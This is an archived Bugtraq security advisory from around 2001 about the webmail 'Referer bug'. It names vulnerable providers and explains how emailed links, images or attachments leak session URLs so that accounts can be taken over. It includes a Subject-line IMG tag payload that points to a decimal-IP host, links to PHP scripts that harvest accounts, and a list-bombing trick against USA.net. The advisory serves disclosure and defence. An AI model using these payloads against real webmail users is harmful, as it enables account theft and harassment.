Bugtraq readers note: Forgive my condescending attitude in this advisory and
my needless explanation of well-known principles - I had to dumb this
advisory down so that even the truly clueless could follow it, since the
intended target of this mailing was corporate IT departments. Suffice to
say, I'd like to take a clue-by-four to some of the morons I've spoken to
over the last few days, but I digress.
Disclaimer:
All opinions and views expresed within this advisory are my personal
opinions only and do not represent the views of my employer, relatives,
friends, any company nor my cat. I am not liable for any damages either
direct or indirect caused by the use of the information I provide in
this advisory. The WebMail providers mentioned in this advisory have
had almost THREE YEARS to shore up this particular hole and THEY are the
ones that decided not to take the security of your email seriously.
Abstract:
After almost three years of continued harping by the security community,
too many 'Web Based Email' (WebMail) providers are -still- vulnerable to
very well documented[1] security flaws, specifically, the 'Referer Bug'.
Detail:
Whenever you visit a web site by following a link from another web site,
a Referer is generated and stored on the visited site. The referer
contains the exact URL of where the visitor came from. If the link they
followed was embedded in an email, it is possible that the Referer will
contain sufficient information to allow an intruder to compromise the
WebMail provider's application and gain unauthorized access to the
victim's email. In many cases, the compromise can be automated in such
a way that an intruder can penetrate an account the moment the victim
reads their email.
Quick Fix:
Option 1: Stop treating your email like a web page, and if you do decide
to treat your email like a web page, don't be surprised when someone
else decides to treat your email like a web page. Yea, I know, a tad
harsh, but it's damned effective.
Option 2: Disable Java, Javascript, Active Scripting, and Automatic
Image Loading. That's right - make your browser as dumb as a post - but
it won't help any, you're still vulnerable to this bug. (Option 1 sure
does look nicer now, doesn't it?)
Effected Implementations:
Critical Path Inc., Third-party provider
Critical Path supplies web based email systems to other companies.
Some, but most certainly not all CP implementations are being
effected by this bug.
Test host: Canada.com (Canada-centric Portal)
Exploit: All CP implementations attempt to wrap[2] links within
email in an attempt to prevent this bug from effecting the user.
HTML embedded directly into an email to a CP host will not effect
the victim. However, CP's parser does not attempt to parse
attachments. An email sent which contains a text/html attachment in
MIME (Base64) encoding will not be parsed. When the victim views
the attachment, the referer bug strikes.
CP was contacted about this bug on Jan 5th. After they completely
ignored several emails from me, I finally called them and was
ensured that their 'CIO' was working on the problem and they would
definitely call me back. (Never happened) Over the next several days
I watched my server log record numerous referers from CP hosts as
they attempted to fix the bug. Unfortunately, they did all their
testing using Intranet hosted webmail applications, which of course
can't be accessed from the outside world. Not a very effective way
of testing for the bug now is it? To date, Canada.com is still
vulnerable, which implies there are others out there as well.
Side note: Although George considers Javascript execution within a
webmail interface to be a bug, I don't. (Read the 'Quick Fix' above
for why I take this stance). Regardless, CP hosts that are effected
by the referer bug will also allow you to run Javascript.
Go-Hip.com / BigMailBox.com - Third-party provider.
Similar to CP, GoHip provides web based email solutions to third
parties.
Known Affected: Antionline.org
Exploit: GoHip/BigMailBox make no effort at all to prevent this bug.
Send HTML email to a user with an IMG SRC image tag. The moment the
victim reads their email they are compromised. (Provided they
automatically load images - most do)
GoHip/BigMailBox also allows the execution of Javascript within the
email.
GoHip was contacted via email on Jan 5th. Repeated follow-up emails
to them have been totally ignored without so much as an
acknowledgement. Unlike CP, where only 1 tested host was found
vulnerable, ALL GoHip/BigMailBox implementations are affected by
this bug. (At least, all the ones I checked, including GoHip.com
itself)
Note: After trying unsuccessfully to deal with support and IT staff at
BigMailBox/GoHip, Critical Path, and USA.net, I gave up. I have no
patience for the clueless and with over two and a half years of this
particular bug, no excuse they provided should be tolerated anyway.
MyRealBox.com - Stand-alone Provider, still in Beta.
I'll be nice. They are definitely vulnerable to a referer bug, but
they are still in Beta. Also, the URL they leave behind in your
referer logs needs to be massaged a little bit to make the exploit
work. I am not going to document the steps needed here to make the
referer work. (But it does work, I assure you) Why not document
what is needed here? Becuase they're in Beta and bugs should be
expected so I'm not going to beat up on them.
Loadmail.com - Third-party Provider
Minimal vulnerability. Although the referer is protected by cookies
if the link originates from within an email, the same is not true
for email attachments. Attachments provide a referer that can be
used, but only to view that attachment. The caveat to all of this is
that although the main account is protected by authentication
cookies, the attachment can be used to execute arbitrary Javascript
commands - like commands that would grab the cookies needed to
compromise the account.
DotCool.com - Stand-alone provider (Portal)
Trivial to compromise. The referer is wide open and no attempt is
made to protect it. No attachments needed - send your HTML email and
rest assured the victim will be compromised. It's slightly more
difficult for an automated compromise as the mail-retrieval host
uses a non-standard port (8383) to retrieve it's email.
If the payload is sent as an attachment, one can induce Dotcool to
execute Javascript.
Ghostmail.com - Third-party provider
Of all the ones I was able to compromise, these guys were the most
difficult. Attachments and the email itself has all HTML converted
over into plain text with HTML entities[3] replacing all instances
of '<' and '>', rendering any embedded HTML inert, including
attachments. Kudos to Ghostmail for taking this stand since it
renders any potential exploit useless. Unfortunately, they don't
bother to take the same precaution with the Subject: header of the
email. A carefully crafted Subject line will produce the desired
referer. An IMG SRC tag with a short URL works best.
Example: </A><IMG SRC="http://3464267555/1.php3">
The closing </A> is needed to prevent the ghostmail parser from
trashing our HTML in favor of it's own. The decimal IP is used to
shorten the URL as much as possible.. if it's too long ghostmail's
parser will truncate (and break) our HTML. The URL above is
valid and points to the image.php3 file mentioned below.
USA.net / NetAddress
Long ago, NetAddress fixed their Referer Bug and it remains fixed to
this day. They receive a mention here because of a different kind
of problem entirely. During the sign-up phase for a new account,
the user is presented with 33 possible mailing lists, special offers
and what-not that they can subscribe to. The form used to accept
and sign a USA.net user up to these lists carries no authentication
tokens at all. In short, if you know the email address of a USA.net
user, you can sign them up for all 33 offerings by submitting the
form using their email address. A miniature list-bomb ensues. The
beauty of this is that even if the victim unsubscribes from all the
lists, you can re-subscribe them with the click of a mouse.
Over the weekend I tested a total of 23 free email providers. I am not
going to list the 23 that I tested, for a very good reason: I want -them-
to test their own installs. I want users to test their own providers. I
am nowhere near perfect - if I listed the ones I didn't find vulnerable, I
may have missed something they, or you, might catch. Hence, my silence on
the subject of who I checked. And before you do - don't ask.
To automate the theft of account information, I wrote up a couple of PHP
scripts. They're not very smart, but they'll take whatever referer they are
given and try to grab whatever information they can using that referer. If
you want to test:
Send yourself an email with a link to:
http://www.thewebmasters.net/webmail/index.phtml
You are forewarned, all access to this script, including whatever it
manages to get, is logged. If you have access to a PHP enabled server,
you can grab the source at
http://www.thewebmasters.net/webmail/index.phps and modify it to your
heart's content.
If you want to try your luck with getting an image link through, then
send yourself an email with an IMG SRC tag pointing to
http://www.thewebmasters.net/webmail/image.php3. (Source is image.phps)
It's identical to the other script, including the logging, with the
exception being that if it finds a referer, it displays a 'success' gif. If
it does NOT get any referer at all, you get a 'failed' gif. Please note,
the 'success' does not indicate that it compromised your account - only that
it got a referer of some kind.
[1] Background Documentation
NetAddress patches email bug - May 6, 1997
http://news.cnet.com/news/0-1005-200-318740.html
BellSouth stamps out email bug - Aug 28, 1998
http://news.cnet.com/news/0-1003-200-332714.html
Hotmail, Excite have privacy hole - June 29, 1998
http://news.cnet.com/news/0-1003-200-330770.html
[2] A wrapper implementation looks at each incoming email. Any link found in
the email which leads offsite will be "wrapped". An example;
original: http://www.example.com/
wrapped : http://www.cp.net/cgi-bin/wrapper?http://www.example.com/
The wrapper CGI in this instance foils the Referer bug by changing the
Referer to itself. In most cases, the resultant referer is identical to
the 'wrapped' URL shown above. This method of preventing the bug is
effective, but certainly not perfect. During my testing, Cookies proved
to be the big show stopper.
[3] HTML entities are a way to have the browser display characters that
would otherwise be invisible to the user of the browser, like converting
'<' to '&#lt;' and converting '>' to '&#gt;' By rendering ALL html
within an email, it renders any potential exploit harmless. I like
this, but somehow I don't think many WebMail providers are going to
take this stance. *sigh*
CDI
____________________________________
The Web Master's Net
http://www.thewebmasters.net/
Today's Excuse:
Interferance from the Van Allen Belt.
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:27:49 PDT